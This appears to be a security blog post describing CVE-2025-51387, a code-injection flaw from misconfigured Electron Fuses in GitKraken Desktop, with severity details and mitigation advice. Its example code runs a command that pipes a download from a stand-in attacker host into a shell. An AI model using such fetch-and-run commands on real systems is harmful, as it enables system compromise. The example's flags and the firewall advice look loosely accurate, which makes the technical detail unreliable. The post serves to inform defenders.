Overview
In the realm of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially harm your systems. One such vulnerability, identified as CVE-2025-51387, has recently been discovered in GitKraken Desktop versions 10.8.0 and 11.1.0. This vulnerability, due to misconfigured Electron Fuses, could potentially lead to code injection, compromising the entire system or resulting in data leaks.
This vulnerability has a high severity impact, with a CVSS score of 9.8, indicating that the potential damage from exploitation is significant. This blog post aims to provide a comprehensive overview of this vulnerability, its potential impact, and the necessary mitigation steps.
Vulnerability Summary
CVE ID: CVE-2025-51387
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
GitKraken Desktop | 10.8.0
GitKraken Desktop | 11.1.0
How the Exploit Works
The vulnerability arises due to the insecure configuration of Electron Fuses in the GitKraken Desktop application. Specifically, the application allows the ‘RunAsNode’ setting to be enabled and does not disable the ‘EnableNodeCliInspectArguments’ setting. This configuration causes the application to run in Node.js mode, which might allow an attacker to pass arguments that lead to arbitrary code execution.
Furthermore, attackers can exploit this vulnerability by tricking legitimate users into executing malicious scripts, which can lead to full system compromise or potential data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This example uses pseudocode to demonstrate a potential malicious command:
# On the attacker's machine
$ gitkraken --run-as-node --inspect=0.0.0.0:9229 -e "require('child_process').exec('curl http://attacker.com/malware | sh')"In this example, the attacker manipulates the GitKraken Desktop application to run a Node.js script that downloads and executes a malicious script from the attacker’s server. Note that this is a simplified version meant primarily for illustration. Real-world exploits might be more complex and harder to detect.
Remember, the best way to protect against this vulnerability is by applying the latest patches from the vendor or using a web application firewall (WAF) or intrusion detection system (IDS) as a temporary measure.